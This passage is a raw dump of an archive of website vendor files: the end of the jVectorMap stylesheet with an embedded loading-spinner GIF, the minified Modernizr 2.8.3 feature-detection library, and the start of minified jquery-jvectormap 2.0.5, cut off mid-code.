0; top: 0; right: 0; bottom: 0; background: center no-repeat url(data:image/gif;base64,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); } .jvectormap-legend-title { font-weight: bold; font-size: 14px; text-align: center; } .jvectormap-legend-cnt { position: absolute; } .jvectormap-legend-cnt-h { bottom: 0; right: 0; } .jvectormap-legend-cnt-v { top: 0; right: 0; } .jvectormap-legend { background: black; color: white; border-radius: 3px; } .jvectormap-legend-cnt-h .jvectormap-legend { float: left; margin: 0 10px 10px 0; padding: 3px 3px 1px 3px; } .jvectormap-legend-cnt-h .jvectormap-legend .jvectormap-legend-tick { float: left; } .jvectormap-legend-cnt-v .jvectormap-legend { margin: 10px 10px 0 0; padding: 3px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick { width: 40px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick-sample { height: 15px; } .jvectormap-legend-cnt-v .jvectormap-legend-tick-sample { height: 20px; width: 20px; display: inline-block; vertical-align: middle; } .jvectormap-legend-tick-text { font-size: 12px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick-text { text-align: center; } .jvectormap-legend-cnt-v .jvectormap-legend-tick-text { display: inline-block; vertical-align: middle; line-height: 20px; padding-left: 3px; }js/vendor/modernizr-2.8.3.min.js000064400000036236151676723140012302 0ustar00/* Modernizr 2.8.3 (Custom Build) | MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-mq-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load */ ;window.Modernizr=function(a,b,c){function D(a){j.cssText=a}function E(a,b){return D(n.join(a+";")+(b||""))}function F(a,b){return typeof a===b}function G(a,b){return!!~(""+a).indexOf(b)}function H(a,b){for(var d in a){var e=a[d];if(!G(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function I(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:F(f,"function")?f.bind(d||b):f}return!1}function J(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return F(b,"string")||F(b,"undefined")?H(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),I(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["­",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b)&&c(b).matches||!1;var d;return y("@media "+b+" { #"+h+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},A=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=F(e[d],"function"),F(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),B={}.hasOwnProperty,C;!F(B,"undefined")&&!F(B.call,"undefined")?C=function(a,b){return B.call(a,b)}:C=function(a,b){return b in a&&F(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return J("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!F(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!J("indexedDB",a)},s.hashchange=function(){return A("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return D("background-color:rgba(150,255,150,.5)"),G(j.backgroundColor,"rgba")},s.hsla=function(){return D("background-color:hsla(120,40%,100%,.5)"),G(j.backgroundColor,"rgba")||G(j.backgroundColor,"hsla")},s.multiplebgs=function(){return D("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return J("backgroundSize")},s.borderimage=function(){return J("borderImage")},s.borderradius=function(){return J("borderRadius")},s.boxshadow=function(){return J("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return E("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return J("animationName")},s.csscolumns=function(){return J("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return D((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),G(j.backgroundImage,"gradient")},s.cssreflections=function(){return J("boxReflect")},s.csstransforms=function(){return!!J("transform")},s.csstransforms3d=function(){var a=!!J("perspective");return a&&"webkitPerspective"in g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return J("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var L in s)C(s,L)&&(x=L.toLowerCase(),e[x]=s[L](),v.push((e[x]?"":"no-")+x));return e.input||K(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)C(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},D(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.mq=z,e.hasEvent=A,e.testProp=function(a){return H([a])},e.testAllProps=J,e.testStyles=y,e.prefixed=function(a,b,c){return b?J(a,b,c):J(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))}; js/vendor/jquery-jvectormap-2.0.5.min.js000064400000157473151676723140013761 0ustar00!function($){var apiParams={set:{colors:1,values:1,backgroundColor:1,scaleColors:1,normalizeFunction:1,focus:1},get:{selectedRegions:1,selectedMarkers:1,mapObject:1,regionName:1}};$.fn.vectorMap=function(options){var map=this.children(".jvectormap-container").data("mapObject");if("addMap"===options)jvm.Map.maps[arguments[1]]=arguments[2];else{if(("set"===options||"get"===options)&&apiParams[options][arguments[1]])return map[options+(arguments[1].charAt(0).toUpperCase()+arguments[1].substr(1))].apply(map,Array.prototype.slice.call(arguments,2));(options=options||{}).container=this,map=new jvm.Map(options)}return this}}(jQuery),function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):"object"==typeof exports?module.exports=factory:factory(jQuery)}(function($){var nullLowestDeltaTimeout,lowestDelta,toFix=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],toBind="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],slice=Array.prototype.slice;if($.event.fixHooks)for(var i=toFix.length;i;)$.event.fixHooks[toFix[--i]]=$.event.mouseHooks;var special=$.event.special.mousewheel={version:"3.1.9",setup:function(){if(this.addEventListener)for(var i=toBind.length;i;)this.addEventListener(toBind[--i],handler,!1);else this.onmousewheel=handler;$.data(this,"mousewheel-line-height",special.getLineHeight(this)),$.data(this,"mousewheel-page-height",special.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var i=toBind.length;i;)this.removeEventListener(toBind[--i],handler,!1);else this.onmousewheel=null},getLineHeight:function(elem){return parseInt($(elem)["offsetParent"in $.fn?"offsetParent":"parent"]().css("fontSize"),10)},getPageHeight:function(elem){return $(elem).height()},settings:{adjustOldDeltas:!0}};function handler(event){var absDelta,orgEvent=event||window.event,args=slice.call(arguments,1),delta=0,deltaX=0,deltaY=0;if((event=$.event.fix(orgEvent)).type="mousewheel","detail"in orgEvent&&(deltaY=-1*orgEvent.detail),"wheelDelta"in orgEvent&&(deltaY=orgEvent.wheelDelta),"wheelDeltaY"in orgEvent&&(deltaY=orgEvent.wheelDeltaY),"wheelDeltaX"in orgEvent&&(deltaX=-1*orgEvent.wheelDeltaX),"axis"in orgEvent&&orgEvent.axis===orgEvent.HORIZONTAL_AXIS&&(deltaX=-1*deltaY,deltaY=0),delta=0===deltaY?deltaX:deltaY,"deltaY"in orgEvent&&(delta=deltaY=-1*orgEvent.deltaY),"deltaX"in orgEvent&&(deltaX=orgEvent.deltaX,0===deltaY&&(delta=-1*deltaX)),0!==deltaY||0!==deltaX){if(1===orgEvent.deltaMode){var lineHeight=$.data(this,"mousewheel-line-height");delta*=lineHeight,deltaY*=lineHeight,deltaX*=lineHeight}else if(2===orgEvent.deltaMode){var pageHeight=$.data(this,"mousewheel-page-height");delta*=pageHeight,deltaY*=pageHeight,deltaX*=pageHeight}return absDelta=Math.max(Math.abs(deltaY),Math.abs(deltaX)),(!lowestDelta||absDelta<lowestDelta)&&shouldAdjustOldDeltas(orgEvent,lowestDelta=absDelta)&&(lowestDelta/=40),shouldAdjustOldDeltas(orgEvent,absDelta)&&(delta/=40,deltaX/=40,deltaY/=40),delta=Math[1<=delta?"floor":"ceil"](delta/lowestDelta),deltaX=Math[1<=deltaX?"floor":"ceil"](deltaX/lowestDelta),deltaY=Math[1<=deltaY?"floor":"ceil"](deltaY/lowestDelta),event.deltaX=deltaX,event.deltaY=deltaY,event.deltaFactor=lowestDelta,event.deltaMode=0,args.unshift(event,delta,deltaX,deltaY),nullLowestDeltaTimeout&&clearTimeout(nullLowestDeltaTimeout),nullLowestDeltaTimeout=setTimeout(nullLowestDelta,200),($.event.dispatch||$.event.handle).apply(this,args)}}function nullLowestDelta(){lowestDelta=null}function shouldAdjustOldDeltas(orgEvent,absDelta){return special.settings.adjustOldDeltas&&"mousewheel"===orgEvent.type&&absDelta%120==0}$.fn.extend({mousewheel:function(fn){return fn?this.bind("mousewheel",fn):this.trigger("mousewheel")},unmousewheel:function(fn){return this.unbind("mousewheel",fn)}})});var jvm={inherits:function(child,parent){function temp(){}temp.prototype=parent.prototype,child.prototype=new 